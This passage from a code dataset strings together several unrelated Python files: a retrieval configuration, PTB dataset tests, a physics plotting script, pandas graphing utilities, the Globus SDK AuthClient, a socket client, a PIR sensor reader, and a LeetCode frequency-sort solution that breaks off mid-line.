rain_covariance,\n mask=rain_mask,\n mask_value=1e-12)\nrain_dm_a_priori = MaskedRegularGrid(rain_dm_a_priori,\n 2,\n rain_mask,\n \"altitude\",\n provide_retrieval_grid=False)\n\nrain = Hydrometeor(\"rain\", D14NDmLiquid(),\n [rain_n0_a_priori, rain_dm_a_priori], rain_shape,\n rain_shape_meta)\nrain.transformations = [\n Composition(Log10(), PiecewiseLinear(rain_n0_a_priori)),\n Composition(Identity(), PiecewiseLinear(rain_dm_a_priori))\n]\nrain.limits_low = [2, 1e-8]\nrain.retrieve_second_moment = True\n","sub_path":"mcrf/liras/passive_only_single_species.py","file_name":"passive_only_single_species.py","file_ext":"py","file_size_in_byte":6225,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"385560672","text":"\"\"\"ludicrously simplistic tests\"\"\"\nimport unittest\n\nimport rnndatasets.ptb as ptb\n\n\nclass TestPTBIter(unittest.TestCase):\n\n def test_get_data(self):\n \"\"\"just try and get the data\"\"\"\n data = ptb.get_ptb_data()\n self.assertEqual(len(data), 4)\n\n def test_iterate(self):\n \"\"\"get an iterator\"\"\"\n train, valid, test, vocab = ptb.get_ptb_data()\n for batch in ptb.batch_iterator(train, 100, 64):\n self.assertEqual(batch[0].shape, (100, 64))\n\n def test_data_in_vocab(self):\n \"\"\"Make sure we can get everything back out\"\"\"\n train, valid, test, vocab = ptb.get_ptb_data()\n inverse_vocab = {vocab[key]: key for key in vocab}\n for batch in ptb.batch_iterator(train, 100, 64):\n words = [inverse_vocab[int(id_)] for id_ in batch[0].flatten()]\n for batch in ptb.batch_iterator(valid, 100, 64):\n words = [inverse_vocab[id_] for id_ in batch[0].flatten()]\n for batch in ptb.batch_iterator(test, 100, 12):\n words = [inverse_vocab[id_] for id_ in batch[0].flatten()]\n print(' '.join([inverse_vocab[id_] for id_ in batch[0][0, :]]))\n","sub_path":"rnndatasets/ptb/test_ptb.py","file_name":"test_ptb.py","file_ext":"py","file_size_in_byte":1160,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"514210385","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCondensed matter - script\n\nContains plot function to plot the graphical solution to the Magnetisation in \na Ferromagnet\n\n@author: kh\n\"\"\"\n\nimport numpy as np\nimport matplotlib.pyplot as plt\n\n\n\nfrom base_axes import put_arrowhead_axes, arrow_array\n\n\n#==============================================================================\n# color definition\n#==============================================================================\n\nkhBlue = '#5B7BE6'\nkhRed = '#FF6666'\n\n#==============================================================================\n# Plot settings\n#==============================================================================\n\n# arrow style\narrow_style_ = {\n 'fc': khBlue,\n 'ec': khBlue,\n 'head_width': 1./20,\n 'head_length': 1./15,\n 'lw': 2.5,\n 'overhang': 0.0}\n\n\n# plot line style\nline_style1 = {\n 'linewidth': 1.8,\n 'linestyle': '-',\n 'color': 'k'\n}\n\nline_style_blue = {\n 'linewidth': 1.8,\n 'linestyle': '-',\n 'color': khBlue,\n}\n\nline_style_red = {\n 'linewidth': 1.8,\n 'linestyle': '-',\n 'color': khRed,\n}\n\n# fontproperties - label\nfont_dict_label = {\n 'family': 'serif',\n 'size': 25,\n}\n\n# fontproperties - textbox\nfont_dict_txt = {\n 'family': 'serif',\n 'size': 20,\n}\n\n\n#==============================================================================\n# plot function\n#==============================================================================\nx = np.linspace(0,1.2, 2001)\nx_ = np.linspace(-0.5, 0, 501)\nfig1 = plt.figure(1); fig1.clf()\nax1 = fig1.add_subplot(111)\n\n\n\nax1.set_xlim([-0.5,1.4])\nax1.set_ylim([0.0,1.0])\n\n# changes axes to arrow head\nfig1, ax1 = put_arrowhead_axes(fig1, ax1)\n\n\n\n# set opalic\nax1.patch.set_facecolor('none')\nax1.patch.set_alpha(0)\n\n\n# axis label\nxlabel = ax1.annotate(r'$x$', (0.90, 0.05), xycoords='figure fraction',\n **font_dict_label)\nylabel = ax1.annotate(r'$ z $', (0.29, 0.90), xycoords='figure fraction',\n **font_dict_label)\n\n# textboxes\ntxt1 = ax1.annotate(r'$ \\vec{B}(x<0) $', (0.15, 0.74), xycoords='figure fraction', \n color=khBlue, **font_dict_txt)\n\ntxt2 = ax1.annotate(r'$ 0 $', (0.32, 0.05), xycoords='figure fraction', color='k',\n **font_dict_txt)\ntxt3 = ax1.annotate(r'$ \\vec{B}(x>0) $', (0.50, 0.74), xycoords='figure fraction', \n color=khBlue, **font_dict_txt)\n\nax1.fill_between([0, x[-1]], [ax1.get_ylim()[1]]*2, color='k', alpha=0.1)\n\n\nlength = 0.70\nfig1, ax1 = arrow_array(fig1, ax1, arr_size=[3,1], \n x0=-0.50, y0=0.35, dx=0.25, dy=0.13, length=length,\n arrow_style=arrow_style_, spin_orientation='all_up')\n\nfor x_ in np.linspace(0,1, 5):\n ax1.arrow(x_, 0.0 , 0, length*np.exp(-x_*1.5),**arrow_style_,\n length_includes_head=True, clip_on=False)\n#\n#ax1.plot(1.72 + 0.04*np.sin(np.linspace(0,2*np.pi,51)),\n# 0.49 + 0.025*np.cos(np.linspace(0,2*np.pi,51)), '-k')\n\n\n\n##plot 2\n#fig2 = plt.figure(2); fig2.clf()\n#ax2 = fig2.add_subplot(111)\n#\n#fig2, ax2 = arrow_array(fig2, ax2, arr_size=[3,2])\n#\n## set opalic\n#ax2.patch.set_facecolor('none')\n#ax2.patch.set_alpha(0)\n\n\n\nfig1.savefig('../img/london_B_1dim.pdf', transparent=True)\n\n#==============================================================================\n# Main function\n#==============================================================================\n\nif __name__ == \"__main__\":\n \n pass\n\n\n","sub_path":"py/london_B_1dim.py","file_name":"london_B_1dim.py","file_ext":"py","file_size_in_byte":3686,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"78022626","text":"\"\"\"\nStores generalized visualization functions that can be used to create graphs for \nexploratory analysis, blogs, briefs, presentations, or other content.\n\"\"\"\n\n__author__ = \"Austin Herrick\"\n__copyright__ = \"Copyright 2018, Penn Wharton Budget Model\"\n\nimport warnings\nimport os\nimport sys\nimport re\nimport pandas as pd\nimport numpy as np\nimport matplotlib.pyplot as plt\nfrom statsmodels.stats.weightstats import DescrStatsW as stats\nfrom pandas.api.types import is_numeric_dtype\n\nimport graphing.utilities\n\ndef graphing_ready_dataframe(\n\tdf, \n\tdemographic, \n\tinterest_var,\n\tmoment_type='Frequency',\n\tinterest_value=1, \n\tweights=None, \n\tconvert_to_annual=False,\n\tdatetime=False,\n\tdatetime_format='%Y',\n\tconvert_to_percent=False\n):\n\t'''\n\tGiven a dataframe, and metrics along which to measure, prepares information for graphing\n\t\n\t- df: The dataframe containing the data to be analyzed\n\t- demographic: The independent variable of interest\n\t- interest_var: The dependent variable of interest\n\t- moment_type: The type of comparison between dependent/independent variables. 'Frequency' compares\n\t\thow often the dependent var takes a particular value (default 1), 'Mean' compares the average value\n\t\tof the dependent variable by each independent dimension\n\t- interest_value: The value of interest for the dependent variable\n\t- weights: The variable used for weighting of the dataframe, if necessary\n\t- convert_to_annual: When enabled, converts probabilities associated with monthly transitions to annual\n\t- datetime: When enabled (if the demographic of interest is time-based), converts the results dataframe\n\t\tto datetime\n\t- datetime_format: Controls the format of the datetime conversion. Defaults to presenting data as years\n\t'''\n\t\n\t# run assertions and warnings for misspecified inputs\n\tmoment_types = ['Frequency', 'Mean']\n\tassert (moment_type in moment_types), 'Invalid Moment Type! Please choose one of {}'.format(moment_types)\n\tassert (is_numeric_dtype(df[interest_var])), \\\n\t\t'Dependent variable is non-numeric! Please convert dependent variable to an integer or float!'\n\tif weights:\n\t\tif len(df[df[weights].isnull()]) > 0:\n\t\t\twarnings.warn(\n\t\t\t\t'Warning: Weight variable contains nulls! Null values have been filled with 0 via \"DummyWeight\"'\n\t\t\t)\n\t\t\tdf['DummyWeight'] = df[weights].fillna(0)\n\t\t\tweights = 'DummyWeight'\n\t\n\t# if no weight is provided, use a set of dummy weights\n\tif not weights:\n\t\tdf['DummyWeight'] = 1\n\t\tweights = 'DummyWeight'\n\t\n\t# create storage structure for results dataframe\n\tresults_list = []\n\tlabels = ['Value', 'Moment', 'StandardError']\n\t\n\t# collect possible values taken along the chosen dimension\n\ttry:\n\t\tvalues = sorted(df[demographic].unique())\n\texcept TypeError:\n\t\tvalues = df[demographic].unique()\n\t\n\t# build graphing dataframe\n\tfor value in values:\n\t\tsub = df[df[demographic] == value]\n\t\t\n\t\t# find moment and standard error for variable of interest within the demographic subset\n\t\tif moment_type == 'Frequency': \n\t\t\ttry:\n\t\t\t\tmoment = sub[sub[interest_var] == interest_value][weights].sum() / sub[weights].sum()\n\t\t\t\tstatistics = stats(sub[interest_var], weights = sub[weights])\n\t\t\texcept ZeroDivisionError:\n\t\t\t\tmoment = 0\n\t\t\t\tstatistics = 0\n\t\telif moment_type == 'Mean':\n\t\t\tstatistics = stats(sub[interest_var], weights = sub[weights])\n\t\t\tmoment = statistics.mean\n\t\t\t\n\t\tstandard_error = statistics.std / np.sqrt(len(sub))\n\t\t\t\n\t\t# convert monthly transitions to annual (if applicable)\n\t\tif convert_to_annual:\n\t\t\tmoment = 1 - ((1 - moment)**12)\n\t\t\tstandard_error = 1 - ((1 - standard_error)**12)\n\t\t\n\t\t# append to results\n\t\tresults_list.append([value, moment, standard_error])\n\t\t\n\t# create dataframe\n\tresults = pd.DataFrame.from_records(results_list, columns=labels)\n\t\n\t# if necessary, convert to datetime\n\tif datetime:\n\t\tresults['Value'] = pd.to_datetime(results.Value, format=datetime_format)\n\t\n\t# if necessary, convert to percent (via multiplication)\n\tif convert_to_percent:\n\t\t\tresults.Moment = results.Moment * 100\n\t\t\n\treturn results\n\n\ndef visualization(\n\tresult_list,\n\tdemographic,\n\tinterest_var,\n\tlabel_list=None,\n\tmoment_type='Frequency',\n\tcategorical=False,\n\tcategorical_coding=None,\n\tcustom_title=None,\n\tcustom_axis=None,\n\tsubtitle=None,\n\tmax_line_length=80,\n\tsave_location=None,\n\tlegend_location=None,\n\tlegend_font_size=9,\n\tcustom_ymin=None,\n\tcustom_ymax=None\n):\n\t'''\n\tVisualize a function. Create bar/line graphs for one data series, without comparison to another\n\t\n\t- result_list: A list containing each dataframe to be graphed\n\t- demographic: The independent variable of interest\n\t- interest_var: The dependent variable of interest\n\t- label_list: Labels used for legend creation\n\t- moment_type: The type of comparison contained within the results dataframe (used for labelling purposes)\n\t- categorical: Controls whether the graph displays a line or bar chart\n\t- categorical_coding: Allows users to control the order in which categorical information is displayed.\n\t\tInputs are of the form of a list of all categorical keys, in the order the user would like them to\n\t\tappear.\n\t- custom_title: Allows users to submit custom titles, rather than using the default code-generated title\n\t- custom_axis: Allows users to submit custom y-axis labels, rather than using the default\n\t- subtitle: Allows users to submit text for a subtitle\n\t- max_line_length: Changes the default line length before a line break is created for subtitle formatting\n\t- save_location: When enabled, saves the created graph to a save location\n\t- legend_location: The position on the graph to place the legend\n\t- legend_text_size: Adjusts the size of the text in the legend\n\t- custom_ymin: When enabled, sets a customized minimum y axis value\n\t- custom_ymax: When enabled, sets a customized maximum y axis value\n\t'''\n\n\t# load the style guide\n\tplt.style.use(['classic', 'pwbm'])\n\t\n\t# if the user submits a single dataframe, converts to a list for standardized formatting\n\tif type(result_list) == pd.core.frame.DataFrame:\n\t\tresult_list = [result_list]\n\t\n\t# run assertions and warnings for misspecified inputs\n\tif categorical:\n\t\tif not categorical_coding:\n\t\t\twarnings.warn(\n\t\t\t\t'Warning: Categorical call includes no coding list, default ordering will be used. To '\n\t\t\t\t'specify a coding list, supply a list of each category in the order you want them to '\n\t\t\t\t'appear in your graph'\n\t\t\t)\n\t\t\tcategorical_coding = result_list[0].Value.unique().tolist()\n\t\telse:\n\t\t\tassert(set(categorical_coding) == set(result_list[0].Value.unique().tolist())), \\\n\t\t\t\t'Categorical codings do not match values in result dataframe! Compare supplied codings: \\\n\t\t\t\t{} to values in dataframe: {}'.format(\n\t\t\t\t\tset(categorical_coding), \n\t\t\t\t\tset(result_list[0].Value.unique().tolist())\n\t\t\t\t)\n\t\t\t\t\n\tif len(result_list) > 1:\n\t\tif not label_list:\n\t\t\twarnings.warn('Warning: No labels were provided! Legend will use default naming instead. Provide '\n\t\t\t'labels by submitting a list of strings for the legend')\n\t\t\t\n\t\t\t# construct default label list\n\t\t\tlabel_list = []\n\t\t\tfor i in range(len(result_list)):\n\t\t\t\tlabel_list.append('Data {}'.format(i))\n\n\t\n\tf, ax = plt.subplots(1)\n\t\n\tif categorical:\n\t\tgraphing.utilities.graph_categorical(\n\t\t\tax, \n\t\t\tcategorical_coding, \n\t\t\tresult_list, \n\t\t\tdemographic, \n\t\t\tlegend_location, \n\t\t\tlegend_font_size, \n\t\t\tlabel_list\n\t\t)\n\telse:\n\t\tgraphing.utilities.graph_non_categorical(\n\t\t\tax,\n\t\t\tresult_list, \n\t\t\tdemographic, \n\t\t\tlegend_location, \n\t\t\tlegend_font_size, \n\t\t\tlabel_list\n\t\t)\n\t\n\t# add title/subtitle\n\tgraphing.utilities.add_labels(\n\t\tax, \n\t\tresult_list,\n\t\tcategorical,\n\t\tmoment_type, \n\t\tsubtitle, \n\t\tmax_line_length, \n\t\tinterest_var, \n\t\tdemographic, \n\t\tcustom_title,\n\t\tcustom_axis,\n\t\tcustom_ymin,\n\t\tcustom_ymax\n\t)\n\n\t# control frame size\n\tplt.rcParams['figure.figsize'] = [13.5, 7.5]\n\t\n\t# save figure, if necessay\n\tif save_location:\n\t\tsavefig(save_location)\n\t\t\n\t# display figure\n\tplt.show()\n\n\ndef sample_dataset(df, column='HouseholdID', max_count=1000):\n\t'''\n\tSamples a subset a dataset, to create an abridged version\n\n\t- df: The dataframe to abridge\n\t- column: The group from which entries are chosen.\n\t- max_count: The number of entries to draw\n\t'''\n\n\tunits = df[column].unique().tolist()\n\tcount = 0\n\tsample_choices = []\n\n\twhile count < max_count:\n\t\t\n\t\tif count % 100 == 0:\n\t\t\tprint('Sampling {}th entry....'.format(count))\n\n\t\tchoice = np.random.choice(range(len(units)))\n\t\tsample_choices.append(units[choice])\n\t\tcount += 1\n\t\tdel units[choice]\n\n\tsample = df[df[column].isin(sample_choices)]\n\n\treturn sample\n","sub_path":"graphing/visualizations.py","file_name":"visualizations.py","file_ext":"py","file_size_in_byte":8425,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"371292865","text":"import collections\nimport json\nimport logging\n\nimport jwt\n\nfrom globus_sdk import exc\nfrom globus_sdk.auth.token_response import OAuthTokenResponse\nfrom globus_sdk.authorizers import NullAuthorizer\nfrom globus_sdk.base import BaseClient, safe_stringify\n\nlogger = logging.getLogger(__name__)\n\n\nclass AuthClient(BaseClient):\n \"\"\"\n Client for the\n `Globus Auth API `_\n\n This class provides helper methods for most common resources in the\n Auth API, and the common low-level interface from\n :class:`BaseClient ` of ``get``, ``put``,\n ``post``, and ``delete`` methods, which can be used to access any API\n resource.\n\n There are generally two types of resources, distinguished by the type\n of authentication which they use. Resources available to end users of\n Globus are authenticated with a Globus Auth Token\n (\"Authentication: Bearer ...\"), while resources available to OAuth\n Clients are authenticated using Basic Auth with the Client's ID and\n Secret.\n Some resources may be available with either authentication type.\n\n **Examples**\n\n Initializing an ``AuthClient`` to authenticate a user making calls to the\n Globus Auth service with an access token takes the form\n\n >>> from globus_sdk import AuthClient, AccessTokenAuthorizer\n >>> ac = AuthClient(authorizer=AccessTokenAuthorizer(''))\n\n You can, of course, use other kinds of Authorizers (notably the\n ``RefreshTokenAuthorizer``).\n\n .. automethodlist:: globus_sdk.AuthClient\n \"\"\"\n\n error_class = exc.AuthAPIError\n\n def __init__(self, client_id=None, authorizer=None, **kwargs):\n self.client_id = client_id\n\n # an AuthClient may contain a GlobusOAuth2FlowManager in order to\n # encapsulate the functionality of various different types of flow\n # managers\n self.current_oauth2_flow_manager = None\n\n BaseClient.__init__(self, \"auth\", authorizer=authorizer, **kwargs)\n\n def get_identities(self, usernames=None, ids=None, provision=False, **params):\n r\"\"\"\n GET /v2/api/identities\n\n Given ``usernames=`` or (exclusive) ``ids=`` as keyword\n arguments, looks up identity information for the set of identities\n provided.\n ```` and ```` in this case are comma-delimited strings listing\n multiple Identity Usernames or Identity IDs, or iterables of strings,\n each of which is an Identity Username or Identity ID.\n\n If Globus Auth's identity auto-provisioning behavior is desired,\n ``provision=True`` may be specified.\n\n Available with any authentication/client type.\n\n **Examples**\n\n >>> ac = globus_sdk.AuthClient(...)\n >>> # by IDs\n >>> r = ac.get_identities(ids=\"46bd0f56-e24f-11e5-a510-131bef46955c\")\n >>> r.data\n {u'identities': [{u'email': None,\n u'id': u'46bd0f56-e24f-11e5-a510-131bef46955c',\n u'identity_provider': u'7daddf46-70c5-45ee-9f0f-7244fe7c8707',\n u'name': None,\n u'organization': None,\n u'status': u'unused',\n u'username': u'globus@globus.org'}]}\n >>> ac.get_identities(\n >>> ids=\",\".join(\n >>> (\"46bd0f56-e24f-11e5-a510-131bef46955c\",\n >>> \"168edc3d-c6ba-478c-9cf8-541ff5ebdc1c\"))\n ...\n >>> # or by usernames\n >>> ac.get_identities(usernames='globus@globus.org')\n ...\n >>> ac.get_identities(\n >>> usernames='globus@globus.org,auth@globus.org')\n ...\n\n You could also use iterables:\n\n >>> ac.get_identities(\n >>> usernames=['globus@globus.org', 'auth@globus.org'])\n ...\n >>> ac.get_identities(\n >>> ids=[\"46bd0f56-e24f-11e5-a510-131bef46955c\",\n >>> \"168edc3d-c6ba-478c-9cf8-541ff5ebdc1c\"])\n ...\n\n\n **External Documentation**\n\n See\n `Identities Resources \\\n `_\n in the API documentation for details.\n \"\"\"\n\n def _convert_listarg(val):\n if isinstance(val, collections.Iterable) and not isinstance(val, str):\n return \",\".join(safe_stringify(x) for x in val)\n else:\n return safe_stringify(val)\n\n self.logger.info(\"Looking up Globus Auth Identities\")\n\n # if either of these params has a truthy value, stringify it safely,\n # letting us consume args whose `__str__` methods produce \"the right\n # thing\"\n # most notably, lets `ids` take a single UUID object safely\n if usernames:\n params[\"usernames\"] = _convert_listarg(usernames)\n params[\"provision\"] = (\n \"false\" if str(provision).lower() == \"false\" else \"true\"\n )\n if ids:\n params[\"ids\"] = _convert_listarg(ids)\n\n self.logger.debug(f\"params={params}\")\n\n if \"usernames\" in params and \"ids\" in params:\n self.logger.warning(\n \"get_identities call with both usernames and \"\n \"identities set! Expected to result in errors\"\n )\n\n return self.get(\"/v2/api/identities\", params=params)\n\n def oauth2_get_authorize_url(self, additional_params=None):\n \"\"\"\n Get the authorization URL to which users should be sent.\n This method may only be called after ``oauth2_start_flow``\n has been called on this ``AuthClient``.\n\n :param additional_params: Additional query parameters to include in the\n authorize URL. Primarily for internal use\n :type additional_params: dict, optional\n :rtype: ``string``\n \"\"\"\n if not self.current_oauth2_flow_manager:\n self.logger.error(\n \"OutOfOrderOperations(get_authorize_url before start_flow)\"\n )\n raise exc.GlobusSDKUsageError(\n \"Cannot get authorize URL until starting an OAuth2 flow. \"\n \"Call the oauth2_start_flow() method on this \"\n \"AuthClient to resolve\"\n )\n auth_url = self.current_oauth2_flow_manager.get_authorize_url(\n additional_params=additional_params\n )\n self.logger.info(f\"Got authorization URL: {auth_url}\")\n return auth_url\n\n def oauth2_exchange_code_for_tokens(self, auth_code):\n \"\"\"\n Exchange an authorization code for a token or tokens.\n\n :rtype: :class:`OAuthTokenResponse \\\n `\n\n :param auth_code: An auth code typically obtained by sending the user to the\n authorize URL. The code is a very short-lived credential which this method\n is exchanging for tokens. Tokens are the credentials used to authenticate\n against Globus APIs.\n :type auth_code: str\n \"\"\"\n self.logger.info(\n \"Final Step of 3-legged OAuth2 Flows: \"\n \"Exchanging authorization code for token(s)\"\n )\n if not self.current_oauth2_flow_manager:\n self.logger.error(\"OutOfOrderOperations(exchange_code before start_flow)\")\n raise exc.GlobusSDKUsageError(\n \"Cannot exchange auth code until starting an OAuth2 flow. \"\n \"Call the oauth2_start_flow() method on this \"\n \"AuthClient to resolve\"\n )\n\n return self.current_oauth2_flow_manager.exchange_code_for_tokens(auth_code)\n\n def oauth2_refresh_token(self, refresh_token, additional_params=None):\n r\"\"\"\n Exchange a refresh token for a :class:`OAuthTokenResponse\n `, containing\n an access token.\n\n Does a token call of the form\n\n .. code-block:: none\n\n refresh_token=\n grant_type=refresh_token\n\n plus any additional parameters you may specify.\n\n :param refresh_token: A Globus Refresh Token as a string\n :type refresh_token: str\n\n :param additional_params: A dict of extra params to encode in the refresh call.\n :type additional_params: dict, optional\n \"\"\"\n self.logger.info(\n \"Executing token refresh; typically requires client credentials\"\n )\n form_data = {\"refresh_token\": refresh_token, \"grant_type\": \"refresh_token\"}\n\n if additional_params:\n form_data.update(additional_params)\n return self.oauth2_token(form_data)\n\n def oauth2_validate_token(self, token, additional_params=None):\n \"\"\"\n Validate a token. It can be an Access Token or a Refresh token.\n\n This call can be used to check tokens issued to your client,\n confirming that they are or are not still valid. The resulting response\n has the form ``{\"active\": True}`` when the token is valid, and\n ``{\"active\": False}`` when it is not.\n\n It is not necessary to validate tokens immediately after receiving them\n from the service -- any tokens which you are issued will be valid at\n that time. This is more for the purpose of doing checks like\n\n - confirm that ``oauth2_revoke_token`` succeeded\n - at application boot, confirm no need to do fresh login\n\n :param token: The token which should be validated. Can be a refresh token or an\n access token\n :type token: str\n :param additional_params: Additional parameters to include in the validation\n body. Primarily for internal use\n :type additional_params: dict, optional\n\n **Examples**\n\n Revoke a token and confirm that it is no longer active:\n\n >>> from globus_sdk import ConfidentialAppAuthClient\n >>> ac = ConfidentialAppAuthClient(CLIENT_ID, CLIENT_SECRET)\n >>> ac.oauth2_revoke_token('')\n >>> data = ac.oauth2_validate_token('')\n >>> assert not data['active']\n\n During application boot, check if the user needs to do a login, even\n if a token is present:\n\n >>> from globus_sdk import ConfidentialAppAuthClient\n >>> ac = ConfidentialAppAuthClient(CLIENT_ID, CLIENT_SECRET)\n >>> # this is not an SDK function, but a hypothetical function which\n >>> # you use to load a token out of configuration data\n >>> tok = load_token_from_config(...)\n >>>\n >>> if not tok or not ac.oauth2_validate_token(tok)['active']:\n >>> # do_new_login() is another hypothetical helper\n >>> tok = do_new_login()\n >>> # at this point, tok is expected to be a valid token\n \"\"\"\n self.logger.info(\"Validating token\")\n body = {\"token\": token}\n\n # if this client has no way of authenticating itself but\n # it does have a client_id, we'll send that in the request\n no_authentication = self.authorizer is None or isinstance(\n self.authorizer, NullAuthorizer\n )\n if no_authentication and self.client_id:\n self.logger.debug(\"Validating token with unauthenticated client\")\n body.update({\"client_id\": self.client_id})\n\n if additional_params:\n body.update(additional_params)\n return self.post(\"/v2/oauth2/token/validate\", text_body=body)\n\n def oauth2_revoke_token(self, token, additional_params=None):\n \"\"\"\n Revoke a token. It can be an Access Token or a Refresh token.\n\n This call should be used to revoke tokens issued to your client,\n rendering them inert and not further usable. Typically, this is\n incorporated into \"logout\" functionality, but it should also be used if\n the client detects that its tokens are in an unsafe location (e.x.\n found in a world-readable logfile).\n\n You can check the \"active\" status of the token after revocation if you\n want to confirm that it was revoked.\n\n :param token: The token which should be revoked\n :type token: str\n :param additional_params: Additional parameters to include in the revocation\n body, which can help speed the revocation process. Primarily for internal\n use\n\n **Examples**\n\n >>> from globus_sdk import ConfidentialAppAuthClient\n >>> ac = ConfidentialAppAuthClient(CLIENT_ID, CLIENT_SECRET)\n >>> ac.oauth2_revoke_token('')\n \"\"\"\n self.logger.info(\"Revoking token\")\n body = {\"token\": token}\n\n # if this client has no way of authenticating itself but\n # it does have a client_id, we'll send that in the request\n no_authentication = self.authorizer is None or isinstance(\n self.authorizer, NullAuthorizer\n )\n if no_authentication and self.client_id:\n self.logger.debug(\"Revoking token with unauthenticated client\")\n body.update({\"client_id\": self.client_id})\n\n if additional_params:\n body.update(additional_params)\n return self.post(\"/v2/oauth2/token/revoke\", text_body=body)\n\n def oauth2_token(self, form_data, response_class=OAuthTokenResponse):\n \"\"\"\n This is the generic form of calling the OAuth2 Token endpoint.\n It takes ``form_data``, a dict which will be encoded in a form POST\n body on the request.\n\n Generally, users of the SDK should not call this method unless they are\n implementing OAuth2 flows.\n\n :param response_class: This is used by calls to the oauth2_token endpoint which\n need to specialize their responses. For example,\n :meth:`oauth2_get_dependent_tokens \\\n `\n requires a specialize response class to handle the dramatically different\n format of the Dependent Token Grant response\n :type response_class: class, optional\n :rtype: ``response_class``\n \"\"\"\n self.logger.info(\"Fetching new token from Globus Auth\")\n # use the fact that requests implicitly encodes the `data` parameter as\n # a form POST\n return self.post(\n \"/v2/oauth2/token\", response_class=response_class, text_body=form_data\n )\n\n def oauth2_userinfo(self):\n \"\"\"\n Call the Userinfo endpoint of Globus Auth.\n Userinfo is specified as part of the OpenID Connect (OIDC) standard,\n and Globus Auth's Userinfo is OIDC-compliant.\n\n The exact data returned will depend upon the set of OIDC-related scopes\n which were used to acquire the token being used for this call. For\n details, see the **External Documentation** below.\n\n **Examples**\n\n >>> ac = AuthClient(...)\n >>> info = ac.oauth2_userinfo()\n >>> print('Effective Identity \"{}\" has Full Name \"{}\" and Email \"{}\"'\n >>> .format(info[\"sub\"], info[\"name\"], info[\"email\"]))\n\n **External Documentation**\n\n See\n `Userinfo \\\n `_\n in the API documentation for details.\n \"\"\"\n self.logger.info(\"Looking up OIDC-style Userinfo from Globus Auth\")\n return self.get(\"/v2/oauth2/userinfo\")\n\n def get_openid_configuration(self):\n \"\"\"\n Fetch the OpenID Connect configuration data from the well-known URI for Globus\n Auth.\n \"\"\"\n self.logger.info(\"Fetching OIDC Config\")\n return self.get(\"/.well-known/openid-configuration\")\n\n def get_jwk(self, openid_configuration=None, as_pem=False):\n \"\"\"\n Fetch the Globus Auth JWK.\n\n Returns either a dict or an RSA Public Key object depending on ``as_pem``.\n\n :param openid_configuration: The OIDC config as a GlobusHTTPResponse or dict.\n When not provided, it will be fetched automatically.\n :type openid_configuration: dict or GlobusHTTPResponse\n :param as_pem: Decode the JWK to an RSA PEM key, typically for JWT decoding\n :type as_pem: bool\n \"\"\"\n self.logger.info(\"Fetching JWK\")\n if not openid_configuration:\n self.logger.debug(\"No OIDC Config provided, autofetching...\")\n openid_configuration = self.get_openid_configuration()\n\n jwks_uri = openid_configuration[\"jwks_uri\"]\n self.logger.debug(\"jwks_uri=%s\", jwks_uri)\n jwk_data = self.get(jwks_uri).data\n if not as_pem:\n self.logger.debug(\"returning jwk data where as_pem=False\")\n return jwk_data\n else:\n self.logger.debug(\"JWK as_pem=True requested, decoding...\")\n # decode from JWK to an RSA PEM key for JWT decoding\n jwk_as_pem = jwt.algorithms.RSAAlgorithm.from_jwk(\n json.dumps(jwk_data[\"keys\"][0])\n )\n self.logger.debug(\"JWK PEM decoding finished successfully\")\n return jwk_as_pem\n","sub_path":"globus_sdk/auth/client_types/base.py","file_name":"base.py","file_ext":"py","file_size_in_byte":17066,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"197460063","text":"from socket import *\nfrom time import ctime\n\nHOST=\"localhost\"\nPORT=10001\nADDRESS=(HOST,PORT)\n\nclientSocket=socket(AF_INET,SOCK_STREAM)\nclientSocket.connect(ADDRESS)\n\nwhile True:\n data=input(\"请输入消息:\")\n if not data:\n break\n\n clientSocket.send(data.encode(\"utf-8\"))\n data=clientSocket.recv(1024)\n if not data:\n break\n\n print(\"服务器返回的消息是:\",data.decode(\"utf-8\"))\n\nclientSocket.close()","sub_path":"Test/socket_test/example_client_socket.py","file_name":"example_client_socket.py","file_ext":"py","file_size_in_byte":442,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"561742957","text":"import RPi.GPIO as GPIO\nimport time\n\nPIR_PIN = 4\n\nGPIO.setmode(GPIO.BCM)\n\nGPIO.setup(PIR_PIN, GPIO.IN, pull_up_down=GPIO.PUD_DOWN)\n\nwhile True:\n time.sleep(0.1)\n print(GPIO.input(PIR_PIN))\n\n\nGPIO.cleanup()","sub_path":"pir_sensor.py","file_name":"pir_sensor.py","file_ext":"py","file_size_in_byte":211,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"8287927","text":"\"\"\"\n @Author : liujianhan\n @Date : 2020/9/18 20:00\n @Project : leetcode_in_python\n @FileName : 451.根据字符出现的频率排序(M).py\n @Description : 定一个字符串,请将字符串里的字符按照出现的频率降序排列。\n\n 示例 1:\n\n 输入:\n \"tree\"\n\n 输出:\n \"eert\"\n\n 解释:\n 'e'出现两次,'r'和't'都只出现一次。\n 因此'e'必须出现在'r'和't'之前。此外,\"eetr\"也是一个有效的答案。\n 示例 2:\n\n 输入:\n \"cccaaa\"\n\n 输出:\n \"cccaaa\"\n\n 解释:\n 'c'和'a'都出现三次。此外,\"aaaccc\"也是有效的答案。\n 注意\"cacaca\"是不正确的,因为相同的字母必须放在一起。\n 示例 3:\n\n 输入:\n \"Aabb\"\n\n 输出:\n \"bbAa\"\n\n 解释:\n 此外,\"bbaA\"也是一个有效的答案,但\"Aabb\"是不正确的。\n 注意'A'和'a'被认为是两种不同的字符。\n\"\"\"\nimport heapq\nfrom collections import defaultdict\n\n\nclass Solution:\n # 252ms, 27MB\n @staticmethod\n def frequency_sort(s: str) -> str:\n count_frequency = defaultdict(int)\n for i in s:\n count_frequency[i] += 1\n lst = []\n heapq.heapify(lst)\n for i in count_frequency:\n for j in range(count_frequency[i]):\n heapq.heappush(lst, (-count_frequency[i], i))\n\n return ''.join([heapq.heappop(lst)[1] for _ in range(len(s))])\n\n # 84ms, 25MB\n @staticmethod\n def frequency_sort_v2(s: str) -> str:\n ret = []\n count_frequency = defaultdict(int)\n for i in s:\n count_frequency[i] += 1\n buckets = [[] 